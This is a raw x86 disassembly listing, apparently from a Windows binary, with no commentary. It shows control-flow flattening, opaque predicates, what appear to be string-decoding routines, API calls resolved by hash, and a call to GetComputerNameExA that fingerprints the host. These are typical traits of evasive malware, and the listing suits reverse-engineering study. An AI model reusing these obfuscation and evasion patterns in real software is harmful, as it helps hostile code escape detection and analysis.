add edi, 0xffffff0c
mov dword [esi + 4], edi
push 0x1fe4
push 0x99e
push edi
push 0x4f13
call fcn.0043ab70
add esp, 0x10
call fcn.00407e02
mov eax, 0x630b484b
cmp edi, 0xa7
je 0x439da9
mov eax, 0x8c9a7c36
mov dword [esi], eax
jmp 0x435dd3
mov eax, dword [esi + 4]
shr eax, 8
mov edi, eax
shl edi, 4
sub edi, eax
sub edi, eax
add edi, 0xfffffba0
mov dword [esi + 4], edi
push edi
call fcn.00435dbc
add esp, 4
call fcn.00407e02
mov eax, 0xb3ca34d2
cmp edi, 0xec
jae 0x439de8
mov eax, 0xf59aa411
mov dword [esi], eax
jmp 0x435dd3
imul eax, dword [esi + 8], 0x5e1a000
add eax, 0xfa09d800
shr eax, 6
mov dword [esi + 8], eax
mov dword [esi], 0xe2f223ef
jmp 0x435dd3
imul eax, dword [esi + 4], 0xaf
shr eax, 0x13
imul edi, eax, 0x1a43
add edi, 0xffffff7b
mov dword [esi + 4], edi
push edi
push 0x3336
push 0x16bb
call fcn.00425eef
add esp, 0xc
push 0x5a75
push 0x3d8d
push edi
push 0x380f
call fcn.0043ab70
add esp, 0x10
mov eax, 0xd40c2a9b
cmp edi, 0x70
jae 0x439e5f
mov eax, 0xd5e027db
mov dword [esi], eax
jmp 0x435dd3
push 7
push 0x474151
push 0xa
push dword [esi + 0x94]
call fcn.0043aca0
add esp, 0x10
mov eax, dword [esi + 0x34]
mov ecx, dword [esi + 0x94]
mov edx, dword [ecx + 7]
mov dword [eax + 7], edx
mov edx, dword [ecx]
mov ecx, dword [ecx + 4]
mov dword [eax + 4], ecx
mov dword [eax], edx
mov dword [esi], 0x4d3b7e04
jmp 0x435dd3
mov ebx, dword [esi + 4]
shl ebx, 0xf
add ebx, 0x1180000
mov edi, 0x83fc6d78
and ebx, 0xfff80000
mov dword [esi + 4], ebx
je 0x439ec2
mov edi, 0x7f31619f
push 0x32e6
push 0x5dfa
push 0x5fdc
push ebx
call fcn.0043ab70
add esp, 0x10
push ebx
call fcn.00435dbc
add esp, 4
mov dword [esi], edi
jmp 0x435dd3
mov eax, dword [esi + 8]
shr eax, 9
add eax, 0xffffff05
imul ecx, eax, 0xdf
imul eax, eax
imul edx, eax, 0x943
dec edx
mov dword [esi + 8], ecx
mov ecx, 0x65cb1f62
cmp edx, eax
je 0x439f16
mov ecx, 0xb3ca34d2
mov dword [esi], ecx
jmp 0x435dd3
imul ecx, dword [esi + 4], 0x27
add ecx, 0xfffffe6b
mov dword [esi + 4], ecx
mov eax, 0xe5444044
cmp ecx, 0xa4
je 0x439f3c
mov eax, 0xc3c216ce
mov dword [esi], eax
jmp 0x435dd3
mov eax, dword [esi + 0x18]
mov eax, dword [eax + 8]
mov dword [esi + 0x178], eax
mov dword [esi], 0xe680363f
jmp 0x435dd3
mov eax, dword [esi + 8]
mov ecx, 0xffffff1e
add eax, ecx
imul ecx, eax, 0xbd0000
imul eax, eax
imul edx, eax, 0x310b
dec edx
or ecx, 0x5e
mov dword [esi + 8], ecx
mov ecx, 0xf59aa411
cmp edx, eax
je 0x439f88
mov ecx, 0xcaa99b05
mov dword [esi], ecx
jmp 0x435dd3
mov eax, dword [esi + 0x48]
mov dword [esi], 0x9d4ee772
jmp 0x435dd3
mov eax, dword [esi + 4]
add eax, eax
add eax, 0x1b4
mov edi, 0x1401a1cc
and eax, 0xfffff800
mov dword [esi + 4], eax
je 0x439fbb
mov edi, 0x8410c221
push 0x5b49
push 0x97f
push 0x5dde
push eax
call fcn.0043aca0
add esp, 0x10
mov dword [esi], edi
jmp 0x435dd3
mov eax, dword [esi + 4]
and eax, 0xfffffff0
lea edi, [eax*4 + 0x93]
mov dword [esi + 4], edi
call fcn.00407e02
mov eax, 0x86f9a22e
cmp edi, 0x6d
jl 0x439ffe
mov eax, 0xe5545476
mov dword [esi], eax
jmp 0x435dd3
mov eax, dword [esi + 0xc]
mov ecx, dword [esi + 0x168]
mov word [eax + ecx], 0xa
mov eax, dword [esi + 0x40]
mov dword [esi], 0xeb1fd2bb
jmp 0x435dd3
imul edi, dword [esi + 4], 0x3b
add edi, 0x5fe
mov dword [esi + 4], edi
push 0x22e
push 0x637f
push 0x13d2
push edi
call fcn.0043ab70
add esp, 0x10
mov eax, 0x157b8e02
cmp edi, 0xbe
jl 0x43a059
mov eax, 0xd57c854
mov dword [esi], eax
jmp 0x435dd3
mov eax, dword [esi + 8]
mov ecx, 0xfffffeeb
add eax, ecx
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0x1abb
dec edx
shr eax, 5
mov dword [esi + 8], eax
mov eax, 0xba19f14a
cmp ecx, edx
je 0x43a08a
mov eax, 0xb6a34bc2
mov dword [esi], eax
jmp 0x435dd3
push dword [esi + 0x14]
push dword [esi + 0x30]
push 2
call dword [sym.imp.KERNEL32.dll_GetComputerNameExA]
mov eax, dword [esi + 0x34]
sub esp, 0xc
mov eax, esp
mov dword [esi + 0x94], eax
mov eax, dword [esi + 0x94]
mov byte [eax + 0xa], 0
mov eax, dword [esi + 0x94]
movzx ecx, word [0x47414f]
mov word [eax + 8], cx
mov ecx, dword [0x47414b]
mov dword [eax + 4], ecx
mov ecx, dword [0x474147]
mov dword [eax], ecx
mov dword [esi], 0xd562ff25
jmp 0x435dd3
mov edi, dword [esi + 4]
shr edi, 7
and edi, 0xffffffe0
add edi, 0xfffffca1
mov dword [esi + 4], edi
push 0x19e1
push edi
push 0x34ee
push 0x28f0
call fcn.0043ab70
add esp, 0x10
mov eax, 0xaff9186a
cmp edi, 0x80
jb 0x43a120
mov eax, 0x630b484b
mov dword [esi], eax
jmp 0x435dd3
imul edi, dword [esi + 4], 0x3918
mov dword [esi + 4], edi
push edi
call fcn.00435dbc
add esp, 4
mov eax, 0x6d1dd2ca
cmp edi, 0x13
jb 0x43a149
mov eax, 0x41e179c3
mov dword [esi], eax
jmp 0x435dd3
imul ecx, dword [esi + 4], 0x17ad
add ecx, 0xffe661cf
mov dword [esi + 4], ecx
mov eax, 0x7131b82e
cmp ecx, 0xd5
jl 0x43a172
mov eax, 0x5c26d242
mov dword [esi], eax
jmp 0x435dd3
mov edi, dword [esi + 4]
and edi, 0x3f
shl edi, 0xb
imul eax, edi, 0x99
add eax, 0xffffff41
mov dword [esi + 4], eax
call fcn.00407e02
mov eax, 0x753381f7
test edi, edi
je 0x43a1a3
mov eax, 0x87978f14
mov dword [esi], eax
jmp 0x435dd3
imul edi, dword [esi + 4], 0x5b
add edi, 0xfffff2fe
mov dword [esi + 4], edi
push edi
call fcn.00435dbc
add esp, 4
call fcn.00407e02
mov eax, 0x94d41fcc
cmp edi, 0x3d
jae 0x43a1d4
mov eax, 0x6481c9f3
mov dword [esi], eax
jmp 0x435dd3
mov eax, dword [esi + 8]
add eax, 0x41
shr eax, 5
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0x7e6d
dec edx
shl eax, 0xc
mov dword [esi + 8], eax
mov eax, 0x92472d11
cmp ecx, edx
je 0x43a204
mov eax, 0xeb070364
mov dword [esi], eax
jmp 0x435dd3
mov eax, dword [esi + 8]
add eax, 0x55
shr eax, 0xe
imul ecx, eax, 0x678
imul eax, eax
imul edx, eax, 0x2d93
dec edx
mov dword [esi + 8], ecx
mov ecx, 0xb48e79f6
cmp eax, edx
je 0x43a235
mov ecx, 0xa520232e
mov dword [esi], ecx
jmp 0x435dd3
mov dword [esi], 0x74b82696
jmp 0x435dd3
mov eax, dword [esi + 8]
add eax, 0xffffffbc
shr eax, 2
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0x3403
dec edx
shl eax, 0xf
add eax, 0xffa48000
mov dword [esi + 8], eax
mov eax, 0x996aa53e
cmp ecx, edx
je 0x43a275
mov eax, 0xc5819afb
mov dword [esi], eax
jmp 0x435dd3
mov ecx, dword [esi + 8]
imul eax, ecx, 0x6b
imul eax, eax
imul edx, eax, 0x66c1
dec edx
imul ecx, ecx, 0x40c9
add ecx, 0xffffff38
mov dword [esi + 8], ecx
mov ecx, 0xba19f14a
cmp eax, edx
je 0x43a2a9
mov ecx, 0x82fc375f
mov dword [esi], ecx
jmp 0x435dd3
mov dword [esi + 8], 0
mov dword [esi], 0x9846d7b
jmp 0x435dd3
mov dword [esi], 0x84554dd1
jmp 0x435dd3
mov eax, dword [esi + 0x84]
mov byte [eax + 2], 0
mov eax, dword [esi + 0x84]
movzx ecx, word [0x47412a]
mov word [eax], cx
mov eax, 2
push eax
push 0x47412c
push eax
push dword [esi + 0x84]
call fcn.0043aca0
add esp, 0x10
mov eax, dword [esi + 0x148]
mov ecx, dword [esi + 0x84]
mov dl, byte [ecx + 2]
mov byte [eax + 2], dl
movzx ecx, word [ecx]
mov word [eax], cx
push 1
mov edi, 0x8000
push edi
call fcn.0044e903
add esp, 8
mov dword [esi + 0x100], eax
mov dword [esi + 0x120], edi
sub esp, 0x1c
mov edi, esp
mov word [edi + 0x18], 0
push 0x18
push 0x468bb0
push edi
call fcn.00443560
add esp, 0xc
push 5
push 0x468bc8
push 0xc
push edi
call fcn.0043ab70
add esp, 0x10
push edi
push 0xa2f80070
call fcn.0043ebdc
add esp, 8
mov dword [esi + 0x14c], eax
mov dword [esi], 0xdea971bc
jmp 0x435dd3
imul edi, dword [esi + 4], 0x3500
add edi, 0xffffff34
mov dword [esi + 4], edi
push edi
call fcn.00435dbc
add esp, 4
push 0x2fdb
push 0x5929
push edi
push 0x45ed
call fcn.0043ab70
add esp, 0x10
mov dword [esi], 0x5c26d242
jmp 0x435dd3
push eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0xa8], eax
mov dword [esi], 0x323e6350
jmp 0x435dd3
mov ecx, dword [esi + 4]
shl ecx, 0x1b
add ecx, 0x9804c800
mov dword [esi + 4], ecx
mov eax, 0xc790f37e
cmp ecx, 0x5b
jge 0x43a3f2
mov eax, 0xd914716f
mov dword [esi], eax
jmp 0x435dd3
mov edi, dword [esi + 4]
mov eax, edi
shr eax, 0x17
mov dword [esi + 4], eax
push eax
call fcn.00435dbc
add esp, 4
call fcn.00407e02
mov eax, 0x229630c
cmp edi, 0x5a000000
jae 0x43a424
mov eax, 0x222ed80b
mov dword [esi], eax
jmp 0x435dd3
mov eax, dword [esi + 0x6c]
mov dword [eax], 0xa424d
push dword [esi + 0x6c]
push dword [esi + 0xc]
call fcn.0044fb80
add esp, 8
mov eax, dword [esi + 0x70]
mov dword [esi], 0xa0154fbc
jmp 0x435dd3
imul ecx, dword [esi + 4], 0x8632
add ecx, 0x2734
mov dword [esi + 4], ecx
mov eax, 0x3e76fd7f
cmp ecx, 0xf5
jb 0x43a472
mov eax, 0x7b829d7e
mov dword [esi], eax
jmp 0x435dd3
mov eax, dword [esi + 0xd8]
mov eax, dword [esi + 0xcc]
mov eax, dword [esi + 0xd0]
mov eax, dword [esi + 0xd4]
mov dword [esi + 0x1ac], eax
mov dword [esi], 0xab8a5b55
jmp 0x435dd3
imul eax, dword [esi + 8], 0x39
add eax, 0xfffffe38
mov dword [esi + 8], eax
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0x1979
dec edx
mov eax, 0xff0f7585
cmp ecx, edx
je 0x43a4c8
mov eax, 0x4160e19b
mov dword [esi], eax
jmp 0x435dd3
imul eax, dword [esi + 8], 0xe6000000
add eax, 0xfce23000
mov dword [esi + 8], eax
mov dword [esi], 0xb218a53a
jmp 0x435dd3
mov ecx, dword [esi + 4]
mov eax, 0xcd
add ecx, eax
mov dword [esi + 4], ecx
mov eax, 0x719fe0ff
cmp ecx, 0x8e
jl 0x43a508
mov eax, 0x5616715c
mov dword [esi], eax
jmp 0x435dd3
mov eax, dword [esi + 0x1b8]
mov ecx, dword [esi + 0x1c4]
mov dword [ecx], eax
mov dword [esi], 0x1af124cf
jmp 0x435dd3
mov edi, dword [esi + 4]
shr edi, 0xb
and edi, 0x1fff00
add edi, 0xdd00
shr edi, 7
mov dword [esi + 4], edi
call fcn.00407e02
push 0xe65
push edi
push 0x5d62
push 0x3dc
call fcn.0043aca0
add esp, 0x10
mov dword [esi], 0xb66cf8ed
jmp 0x435dd3
mov eax, dword [esi + 8]
shl eax, 0xf
or eax, 0x17d
mov dword [esi + 8], eax
mov dword [esi], 0x630b484b
jmp 0x435dd3
imul eax, dword [esi + 8], 0xb800000
shr eax, 5
or eax, 0x18
mov dword [esi + 8], eax
mov dword [esi], 0x673f437d
jmp 0x435dd3
mov eax, dword [esi + 0x60]
mov dword [esi], 0x15d2c650
jmp 0x435dd3
mov dword [esi], 0x366a8f86
jmp 0x435dd3
mov eax, dword [esi + 0x138]
mov ecx, dword [esi + 0x78]
mov edx, dword [ecx + 0xc]
mov dword [eax + 0xc], edx
mov edx, dword [ecx + 8]
mov dword [eax + 8], edx
mov edx, dword [ecx]
mov ecx, dword [ecx + 4]
mov dword [eax + 4], ecx
mov dword [eax], edx
push dword [esi + 0xc]
call fcn.0044fd60
add esp, 4
add eax, dword [esi + 0xc]
mov dword [esi + 0x13c], eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0x7c], eax
mov eax, dword [esi + 0x7c]
mov byte [eax + 0xb], 0
mov eax, dword [esi + 0x7c]
mov cl, byte [0x47410d]
mov byte [eax + 0xa], cl
movzx ecx, word [0x47410b]
mov word [eax + 8], cx
mov ecx, dword [0x474107]
mov dword [eax + 4], ecx
mov ecx, dword [0x474103]
mov dword [eax], ecx
push 7
push 0x47410e
push 0xb
push dword [esi + 0x7c]
call fcn.0043aca0
add esp, 0x10
mov dword [esi], 0xede0b7b1
jmp 0x435dd3
mov eax, dword [esi + 4]
shl eax, 5
add eax, 0xfffffde0
mov dword [esi + 4], eax
push eax
push 0x2c6e
push 0x169
call fcn.00425eef
add esp, 0xc
mov dword [esi], 0xb3ca34d2
jmp 0x435dd3
mov eax, dword [esi + 8]
shr eax, 0xf
lea ecx, [eax - 0x26]
imul ecx, ecx
imul edx, ecx, 0x75eb
add eax, 0x5c
dec edx
mov dword [esi + 8], eax
mov eax, 0xe57461c3
cmp ecx, edx
je 0x43a691
mov eax, 0x1f64fb16
mov dword [esi], eax
jmp 0x435dd3
mov eax, dword [esi + 4]
lea edi, [eax + eax]
add edi, 0x31800
and edi, 0xfffffc00
add edi, 0xffffff30
mov dword [esi + 4], edi
push 0x4203
push edi
push 0x4e62
push 0x568a
call fcn.0043ab70
add esp, 0x10
mov eax, 0x1171bc90
cmp edi, 0xe3
jl 0x43a6dd
mov eax, 0x5966d6ac
mov dword [esi], eax
jmp 0x435dd3
mov eax, dword [esi + 0x70]
mov eax, dword [esi + 0x6c]
mov eax, dword [esi + 0x68]
mov eax, dword [esi + 0x20]
mov eax, dword [esi + 0x64]
mov eax, dword [esi + 0x1c]
mov eax, dword [esi + 0x60]
mov eax, dword [esi + 0x5c]
mov eax, dword [esi + 0x58]
mov dword [esi], 0xd35847e5
jmp 0x435dd3
mov dword [esi], 0x3478b7e1
jmp 0x435dd3
mov eax, dword [esi + 4]
mov ecx, eax
shl ecx, 7
add ecx, eax
add ecx, 0x12b4
mov dword [esi + 4], ecx
mov eax, 0xe2e8a630
cmp ecx, 0x8a
jae 0x43a73a
mov eax, 0x7b829d7e
mov dword [esi], eax
jmp 0x435dd3
mov edi, dword [esi + 4]
add edi, 0xffffff8a
mov eax, edi
shr eax, 7
mov dword [esi + 4], eax
push 0x59d4
push 0x54e8
push 0x3d05
push eax
call fcn.0043ab70
add esp, 0x10
mov eax, 0xbf762f50
cmp edi, 0x7900
jae 0x43a779
mov eax, 0x375c1a1a
mov dword [esi], eax
jmp 0x435dd3
imul eax, dword [esi + 4], 0xf3000
mov dword [esi + 4], eax
mov dword [esi], 0xf44ecfb2
jmp 0x435dd3
mov eax, dword [esi + 0x78]
mov byte [eax + 0xf], 0
mov dword [esi], 0x11f24231
jmp 0x435dd3
imul edi, dword [esi + 4], 0xe8
add edi, 0xfffff760
mov dword [esi + 4], edi
push 0x5da9
push edi
push 0x403d
call fcn.00425eef
add esp, 0xc
call fcn.00407e02
mov eax, 0x375c1a1a
cmp edi, 0x30
jb 0x43a7de
mov eax, 0x150f2f51
mov dword [esi], eax
jmp 0x435dd3
mov eax, dword [esi + 8]
lea ecx, [eax + 0x7e]
imul ecx, ecx
imul edx, ecx, 0x42ef
dec edx
add eax, 0x71
mov dword [esi + 8], eax
mov eax, 0x9a40de10
cmp ecx, edx
je 0x43a809
mov eax, 0x2a06db1b
mov dword [esi], eax
jmp 0x435dd3
mov eax, dword [esi + 0xa4]
mov byte [eax + 0xd], 0
mov dword [esi], 0xa141c1ec
jmp 0x435dd3
imul ecx, dword [esi + 8], 0xb9
lea eax, [ecx - 0x11a8f]
add ecx, 0xfffee498
imul eax, eax
shr ecx, 0xf
imul edx, eax, 0x6bd
dec edx
imul ecx, ecx, 0xb1000
add ecx, 0xfff6e000
mov dword [esi + 8], ecx
mov ecx, 0xbae1f94a
cmp edx, eax
je 0x43a862
mov ecx, 0x6b36a75c
mov dword [esi], ecx
jmp 0x435dd3
mov eax, dword [esi + 4]
mov ecx, 0xce
add eax, ecx
shr eax, 8
imul edi, eax, 0x84000
mov dword [esi + 4], edi
push 0x2a6b
push 0x7af
push edi
push 0x2aab
call fcn.0043ab70
add esp, 0x10
mov eax, 0xede0b7b1
cmp edi, 0x67
jl 0x43a8a6
mov eax, 0x2cb551f6
mov dword [esi], eax
jmp 0x435dd3
mov eax, dword [esi + 4]
shl eax, 0x15
add eax, 0x4000000
shr eax, 0xe
imul edi, eax, 0x32
mov eax, edi
shr eax, 8
mov dword [esi + 4], eax
push 0x2523
push 0x60ba
push 0xb3
push eax
call fcn.0043ab70
add esp, 0x10
mov eax, 0x15fa78a4
cmp edi, 0x6e00
jb 0x43a8f0
mov eax, 0x9dfccdd7
mov dword [esi], eax
jmp 0x435dd3
mov eax, dword [esi + 0xf4]
mov word [eax + 0x14], 0
mov dword [esi], 0x36c848d1
jmp 0x435dd3
push 4
push 0x468c28
push 0xc
push dword [esi + 0xb4]
call fcn.0043ab70
add esp, 0x10
push dword [esi + 0xb4]
push 0x2f9959e0
call fcn.0043ebdc
add esp, 8
push 0x55
push dword [esi + 0x10c]
call eax
mov dword [esi], 0x674fda92
jmp 0x435dd3
mov eax, dword [esi + 8]
shl eax, 9
add eax, 0x1fffff85
shr eax, 0xe
and eax, 0x7fff
mov dword [esi + 8], eax
mov dword [esi], 0x39083938
jmp 0x435dd3
push eax
push eax
mov eax, esp
mov dword [esi + 0x64], eax
sub esp, 8
mov eax, esp
and eax, 0xfffffff8
mov esp, eax
mov dword [esi + 0x20], eax
push eax
sub esp, 0x1c
mov eax, esp
mov dword [esi + 0x68], eax
push eax
mov eax, esp
mov dword [esi + 0x6c], eax
sub esp, 0x18
mov eax, esp
mov dword [esi + 0x70], eax
mov dword [esi], 0x524f7fc6
jmp 0x435dd3
push dword [esi + 0x114]
push dword [esi + 0xc]
call fcn.0044fb80
add esp, 8
mov dword [esi], 0xa8be00b9
jmp 0x435dd3
mov eax, dword [esi + 0x4c]
mov dword [esi], 0x516304b9
jmp 0x435dd3
mov ecx, dword [esi + 4]
mov eax, 0xffffff36
add ecx, eax
mov eax, ecx
shr eax, 4
mov dword [esi + 4], eax
mov eax, 0xe680363f
cmp ecx, 0x7b0
jb 0x43a9f2
mov eax, 0x719fe0ff
mov dword [esi], eax
jmp 0x435dd3
mov edi, dword [esi + 4]
mov eax, edi
shr eax, 2
add eax, 0x1e
mov dword [esi + 4], eax
push 0xb78
push eax
push 0x13f0
call fcn.00425eef
add esp, 0xc
mov eax, 0x630b484b
cmp edi, 0x29c
jb 0x43aa2c
mov eax, 0x45dda33e
mov dword [esi], eax
jmp 0x435dd3
mov eax, dword [esi + 8]
shl eax, 7
add eax, 0x103
mov dword [esi + 8], eax
mov dword [esi], 0x87978f14
jmp 0x435dd3
imul ebx, dword [esi + 4], 0xba
add ebx, 0x13b
shr ebx, 4
add ebx, 0x82
shr ebx, 5
mov dword [esi + 4], ebx
push 0x1c26
push 0x13b9
push ebx
push 0xb79
call fcn.0043aca0
add esp, 0x10
push 0x4b26
push ebx
push 0xa7a
call fcn.00425eef
add esp, 0xc
mov eax, 0xf4d683d7
cmp ebx, 0x5f
je 0x43aaa2
mov eax, 0xba621180
mov dword [esi], eax
jmp 0x435dd3
mov eax, dword [esi + 0xc]
add eax, dword [esi + 0x160]
mov dword [esi + 0x164], eax
mov dword [esi], 0x94fbdada
jmp 0x435dd3
mov eax, dword [esi + 0x54]
mov eax, dword [esi + 0x50]
mov eax, dword [esi + 0x18]
mov dword [esi], 0xe1cbe720
jmp 0x435dd3
mov ecx, dword [esi + 8]
lea eax, [ecx + ecx*4]
lea eax, [eax + eax*4]
imul ecx, ecx, 0x32
imul eax, eax
imul edx, eax, 0x5445
dec edx
add ecx, 0x1bd
mov dword [esi + 8], ecx
mov ecx, 0x630b484b
cmp edx, eax
je 0x43ab04
mov ecx, 0x99c5c021
mov dword [esi], ecx
jmp 0x435dd3
cmp eax, 0x9858f92c
je 0x43ab5e
jmp 0x435dd3
mov edi, dword [esi + 4]
add edi, 0x57
shr edi, 0x1c
add edi, 0xffffff19
mov dword [esi + 4], edi
push edi
push 0x3151
push 0xfbf
push 0x3e04
call fcn.0043aca0
add esp, 0x10
push edi
push 0x2000
push 0x1c9e
push 0x5b2f
call fcn.0043aca0
add esp, 0x10
jmp 0x435dcd
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret